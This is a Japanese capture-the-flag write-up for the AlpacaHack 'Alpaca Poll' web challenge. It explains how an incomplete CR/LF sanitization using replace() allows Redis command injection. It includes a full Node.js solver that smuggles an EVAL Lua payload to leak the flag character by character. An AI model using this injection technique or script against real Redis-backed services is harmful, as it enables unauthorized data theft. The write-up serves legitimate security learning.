0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ctf upsolve by kodai Advent Calendar 2025 (Day2)

0
Last updated at Posted at 2025-12-02

ctf upsolve by kodai Advent Calendar 2025のDay2の記事になります。

取り扱った問題

AlpacaHack Round 7 (Web) Alpaca Poll
Author: st98


upsolve

compose-yaml, db.js, index.jsなどが与えられます
compose-ymlにある通り、FLAGは環境変数にあります

services:
  alpaca-poll:
    build: ./web
    restart: unless-stopped
    init: true
    ports:
      - ${PORT:-3000}:3000
    environment:
      - FLAG=Alpaca{REDACTED}

db.jsでの記述を見ると、Redisを使ってdbへの接続を行っていることが分かります。
またデータベース初期化時にFLAGがセットされています。

import net from 'node:net';

function connect() {
    return new Promise(resolve => {
        const socket = net.connect('6379', 'localhost', () => {
            resolve(socket);
        });
    });
}

function send(socket, data) {
    console.info('[send]', JSON.stringify(data));
    socket.write(data);

    return new Promise(resolve => {
        socket.on('data', data => {
            console.info('[recv]', JSON.stringify(data.toString()));
            resolve(data.toString());
        })
    });
}

// 省略

export async function init(flag) {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
        message += `SET ${animal} ${votes}\r\n`;
    }

    message += `SET flag ${flag}\r\n`; // please exfiltrate this

    await send(socket, message);
    socket.destroy();
}

index.jsの記述を見ると、/voteで投票をし、/votesで投票結果を取得することができます

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

app.get('/votes', async (req, res) => {
    return res.json(await getVotes());
});

/voteのanimalのサニタイズに注目しました
コメント文でNo Injection pleaseと書いてあるのでここが怪しいです。
ここでは改行文字を削除しています

animal = animal.replace('\r', '').replace('\n', '');

しかしString.prototype.replace()では、文字列パターンは一度だけ置換されるため、本来はreplaceAll()を使わなければなりません。
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace

db.jsのRedisへの送信部分を見ると行単位でコマンドを送っています。

vote()の戻り値は整数だけで、votes()の戻り値はそれぞれの投票結果が返ってくるのでそれを利用してインジェクションを行います

以下がsolverです。コード実装能力がなくてChatGPTに手助けしてもらいました。
コードの意図としては、

  1. flag キーから文字列を読む
  2. そのうち pos 文字目(1文字目、2文字目…)を取り出す
  3. それを 数値に変換(ASCII コードなど)する
  4. その数値を SET dog <その数値> で保存する
    を方針として考えました
const TARGET = process.argv[2] || 'http://34.170.146.252:60273';

async function sendVote(animal) {
  const body = new URLSearchParams({ animal }).toString();

  const res = await fetch(`${TARGET}/vote`, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
    },
    body,
  });

  const json = await res.json();
  console.log('[vote]', json);
  return json;
}

async function getVotes() {
  const res = await fetch(`${TARGET}/votes`);
  const json = await res.json();
  console.log('[votes]', json);
  return json;
}

function buildAnimalPayload(pos) {
  const lua = `local f=redis.call("GET","flag");local b=string.byte(f,${pos},${pos});redis.call("SET","dog",b);return b`;
  const luaEscaped = lua.replace(/"/g, '\\"');
  const payload = `\ralpaca\n\r\nEVAL "${luaEscaped}" 0\r\nalpaca`;

  return payload;
}

async function leakOneChar(pos) {
  const animal = buildAnimalPayload(pos);
  console.log('[payload]', JSON.stringify(animal));

  await sendVote(animal);
  const votes = await getVotes();

  const code = votes.dog;
  if (typeof code !== 'number' || !Number.isFinite(code)) {
    console.error('Unexpected votes.dog:', votes);
    return null;
  }

  const ch = String.fromCharCode(code);
  console.log(`pos=${pos}, code=${code}, ch=${ch}`);
  return ch;
}

async function main() {
  let flag = '';

  for (let pos = 1; pos <= 100; pos++) {
    const ch = await leakOneChar(pos);
    if (!ch) {
      console.error('failed to leak at pos', pos);
      break;
    }
    flag += ch;
    console.log('current flag =', flag);

    if (ch === '}') break;
  }

  console.log('FINAL FLAG =', flag);
}

main().catch(err => {
  console.error(err);
  process.exit(1);
});

FLAG : Alpaca{ezotanuki_mofumofu}


感想

MDNで仕様を読んで、使えそうなものを見つけることができて良かったです

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?